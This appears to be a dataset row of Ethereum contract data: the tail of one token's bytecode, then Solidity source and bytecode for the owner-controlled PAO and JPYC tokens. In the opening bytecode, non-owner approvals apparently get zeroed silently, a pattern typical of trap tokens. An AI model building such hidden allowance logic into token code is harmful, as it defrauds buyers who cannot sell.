524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204f31c6293ce4488f2304f2f9952db3923af7708991c5fd262a3e609696990a7064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,622 |
0x7a08c63a94cb359bbccb90a52322afd8b22f8125 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Lockable is Ownable {
uint256 public creationTime;
bool public tokenTransferLocker;
mapping(address => bool) lockaddress;
event Locked(address lockaddress);
event Unlocked(address lockaddress);
event TokenTransferLocker(bool _setto);
// if Token transfer
modifier isTokenTransfer {
// only contract holder can send token during locked period
if(msg.sender != owner) {
// if token transfer is not allow
require(!tokenTransferLocker);
if(lockaddress[msg.sender]){
revert();
}
}
_;
}
// This modifier check whether the contract should be in a locked
// or unlocked state, then acts and updates accordingly if
// necessary
modifier checkLock {
if (lockaddress[msg.sender]) {
revert();
}
_;
}
constructor() public {
creationTime = now;
owner = msg.sender;
}
function isTokenTransferLocked()
external
view
returns (bool)
{
return tokenTransferLocker;
}
function enableTokenTransfer()
external
onlyOwner
{
delete tokenTransferLocker;
emit TokenTransferLocker(false);
}
function disableTokenTransfer()
external
onlyOwner
{
tokenTransferLocker = true;
emit TokenTransferLocker(true);
}
}
contract ERC20 {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 public totalSupply;
function balanceOf(address who) view external returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract CoolPandaToken is ERC20, Lockable {
using SafeMath for uint256;
uint256 public decimals = 18;
address public fundWallet = 0x071961b88F848D09C3d988E8814F38cbAE755C44;
uint256 public tokenPrice;
function balanceOf(address _addr) external view returns (uint256) {
return balances[_addr];
}
function allowance(address _from, address _spender) external view returns (uint256) {
return allowed[_from][_spender];
}
function transfer(address _to, uint256 _value)
isTokenTransfer
public
returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value)
isTokenTransfer
external
returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
isTokenTransfer
public
returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
isTokenTransfer
external
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function setFundWallet(address _newAddr) external onlyOwner {
require(_newAddr != address(0));
fundWallet = _newAddr;
}
function transferEth() onlyOwner external {
fundWallet.transfer(address(this).balance);
}
function setTokenPrice(uint256 _newBuyPrice) external onlyOwner {
tokenPrice = _newBuyPrice;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract PaoToken is CoolPandaToken {
using SafeMath for uint256;
string public name = "PAO Token";
string public symbol = "PAO";
uint fundRatio = 6;
uint256 public minBuyETH = 50;
JPYC public jpyc; //JPYC Address
uint256 public jypcBonus = 40000;
event JypcBonus(uint256 paoAmount, uint256 jpycAmount);
// constructor
constructor() public {
totalSupply = 10000000000 * 10 ** uint256(decimals);
tokenPrice = 50000;
balances[fundWallet] = totalSupply * fundRatio / 10;
balances[address(this)] = totalSupply.sub(balances[fundWallet]);
}
// @notice Buy tokens from contract by sending ether
function () payable public {
if(fundWallet != msg.sender){
require (msg.value >= (minBuyETH * 10 ** uint256(decimals))); // Check if minimum amount
uint256 amount = msg.value.mul(tokenPrice); // calculates the amount
_buyToken(msg.sender, amount); // makes the transfers
fundWallet.transfer(msg.value); // send ether to the fundWallet
}
}
function _buyToken(address _to, uint256 _value) isTokenTransfer internal {
address _from = address(this);
require (_to != 0x0); // Prevent transfer to 0x0 address.
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to].add(_value) >= balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
//give bonus consume token
uint256 _jpycAmount = _getJYPCBonus();
jpyc.giveBonus(_to, _jpycAmount);
emit JypcBonus(_value,_jpycAmount);
}
function _getJYPCBonus() internal view returns (uint256 amount){
return msg.value.mul(jypcBonus);
}
function setMinBuyEth(uint256 _amount) external onlyOwner{
minBuyETH = _amount;
}
function setJypcBonus(uint256 _amount) external onlyOwner{
jypcBonus = _amount;
}
function transferToken() onlyOwner external {
address _from = address(this);
uint256 _total = balances[_from];
balances[_from] = balances[_from].sub(_total);
balances[fundWallet] = balances[fundWallet].add(_total);
}
function setJpycContactAddress(address _tokenAddress) external onlyOwner {
jpyc = JPYC(_tokenAddress);
}
}
contract JPYC is CoolPandaToken {
using SafeMath for uint256;
string public name = "Japan Yen Coin";
uint256 _initialSupply = 10000000000 * 10 ** uint256(decimals);
string public symbol = "JPYC";
address public paoContactAddress;
event Issue(uint256 amount);
// constructor
constructor() public {
tokenPrice = 47000; //JPY to ETH (rough number)
totalSupply = _initialSupply;
balances[fundWallet] = _initialSupply;
}
function () payable public {
uint amount = msg.value.mul(tokenPrice); // calculates the amount
_giveToken(msg.sender, amount); // makes the transfers
fundWallet.transfer(msg.value); // send ether to the public collection wallet
}
function _giveToken(address _to, uint256 _value) isTokenTransfer internal {
require (_to != 0x0); // Prevent transfer to 0x0 address.
require(totalSupply.add(_value) >= totalSupply);
require (balances[_to].add(_value) >= balances[_to]); // Check for overflows
totalSupply = totalSupply.add(_value);
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(address(this), _to, _value);
}
function issue(uint256 amount) external onlyOwner {
_giveToken(fundWallet, amount);
emit Issue(amount);
}
function setPaoContactAddress(address _newAddr) external onlyOwner {
require(_newAddr != address(0));
paoContactAddress = _newAddr;
}
function giveBonus(address _to, uint256 _value)
isTokenTransfer
external
returns (bool success) {
require(_to != address(0));
if(msg.sender == paoContactAddress){
_giveToken(_to,_value);
return true;
}
return false;
}
} | 0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101e3578063095ea7b314610273578063108c3708146102d857806318160ddd1461032f57806323b872dd1461035a578063313ce567146103df5780633a7644621461040a57806355ce3b9a1461042157806359852686146104645780635c50c63a1461047b578063664a1ad6146104aa5780636a61e5fc1461050157806370a082311461052e5780637ff9b596146105855780638da5cb5b146105b057806395d89b41146106075780639cdbaa2114610697578063a9059cbb146106c6578063b722875f1461072b578063cae9ca5114610790578063cc872b661461080d578063d8270dce1461083a578063dd62ed3e14610865578063e2a9ca4c146108dc578063e4e6de18146108f3578063f2fde38b14610936575b600061016b6009543461097990919063ffffffff16565b905061017733826109b1565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156101df573d6000803e3d6000fd5b5050005b3480156101ef57600080fd5b506101f8610c7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023857808201518184015260208101905061021d565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027f57600080fd5b506102be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d19565b604051808215151515815260200191505060405180910390f35b3480156102e457600080fd5b506102ed610ed6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033b57600080fd5b50610344610efc565b6040518082815260200191505060405180910390f35b34801561036657600080fd5b506103c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f02565b604051808215151515815260200191505060405180910390f35b3480156103eb57600080fd5b506103f4611388565b6040518082815260200191505060405180910390f35b34801561041657600080fd5b5061041f61138e565b005b34801561042d57600080fd5b50610462600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143a565b005b34801561047057600080fd5b50610479611516565b005b34801561048757600080fd5b506104906115f4565b604051808215151515815260200191505060405180910390f35b3480156104b657600080fd5b506104bf61160b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050d57600080fd5b5061052c60048036038101908080359060200190929190505050611631565b005b34801561053a57600080fd5b5061056f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611697565b6040518082815260200191505060405180910390f35b34801561059157600080fd5b5061059a6116df565b6040518082815260200191505060405180910390f35b3480156105bc57600080fd5b506105c56116e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061357600080fd5b5061061c61170b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065c578082015181840152602081019050610641565b50505050905090810190601f1680156106895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a357600080fd5b506106ac6117a9565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610711600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117bc565b604051808215151515815260200191505060405180910390f35b34801561073757600080fd5b50610776600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611aa7565b604051808215151515815260200191505060405180910390f35b34801561079c57600080fd5b506107f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050611c24565b604051808215151515815260200191505060405180910390f35b34801561081957600080fd5b5061083860048036038101908080359060200190929190505050611e28565b005b34801561084657600080fd5b5061084f611eea565b6040518082815260200191505060405180910390f35b34801561087157600080fd5b506108c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef0565b6040518082815260200191505060405180910390f35b3480156108e857600080fd5b506108f1611f77565b005b3480156108ff57600080fd5b50610934600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061202c565b005b34801561094257600080fd5b50610977600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612108565b005b60008083141561098c57600090506109ab565b818302905081838281151561099d57fe5b041415156109a757fe5b8090505b92915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7c57600560009054906101000a900460ff16151515610a2457600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a7b57600080fd5b5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610aa257600080fd5b600254610aba8260025461226090919063ffffffff16565b10151515610ac757600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b57826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226090919063ffffffff16565b10151515610b6457600080fd5b610b798160025461226090919063ffffffff16565b600281905550610bd0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d115780601f10610ce657610100808354040283529160200191610d11565b820191906000526020600020905b815481529060010190602001808311610cf457829003601f168201915b505050505081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de657600560009054906101000a900460ff16151515610d8e57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610de557600080fd5b5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fcf57600560009054906101000a900460ff16151515610f7757600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fce57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561100b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561105857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110e357600080fd5b611134826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ea57600080fd5b600560006101000a81549060ff02191690557f91dbf0763888de48fe2f68c51f94d12373b23c25fe26e07b74bc0f68aa83a0466000604051808215151515815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114d257600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157257600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156115f1573d6000803e3d6000fd5b50565b6000600560009054906101000a900460ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561168d57600080fd5b8060098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117a15780601f10611776576101008083540402835291602001916117a1565b820191906000526020600020905b81548152906001019060200180831161178457829003601f168201915b505050505081565b600560009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188957600560009054906101000a900460ff1615151561183157600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561188857600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118c557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561191257600080fd5b611963826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7457600560009054906101000a900460ff16151515611b1c57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b7357600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bb057600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611c1957611c1083836109b1565b60019050611c1e565b600090505b92915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cf257600560009054906101000a900460ff16151515611c9a57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cf157600080fd5b5b859050611cff8686610d19565b15611e1e578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb133873088886040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825284848281815260200192508082843782019150509650505050505050600060405180830381600087803b158015611dfd57600080fd5b505af1158015611e11573d6000803e3d6000fd5b5050505060019150611e1f565b5b50949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e8457600080fd5b611eb0600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826109b1565b7fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b60045481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fd357600080fd5b6001600560006101000a81548160ff0219169083151502179055507f91dbf0763888de48fe2f68c51f94d12373b23c25fe26e07b74bc0f68aa83a0466001604051808215151515815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561208857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120c457600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000818301905082811015151561227357fe5b80905092915050565b600082821115151561228a57fe5b8183039050929150505600a165627a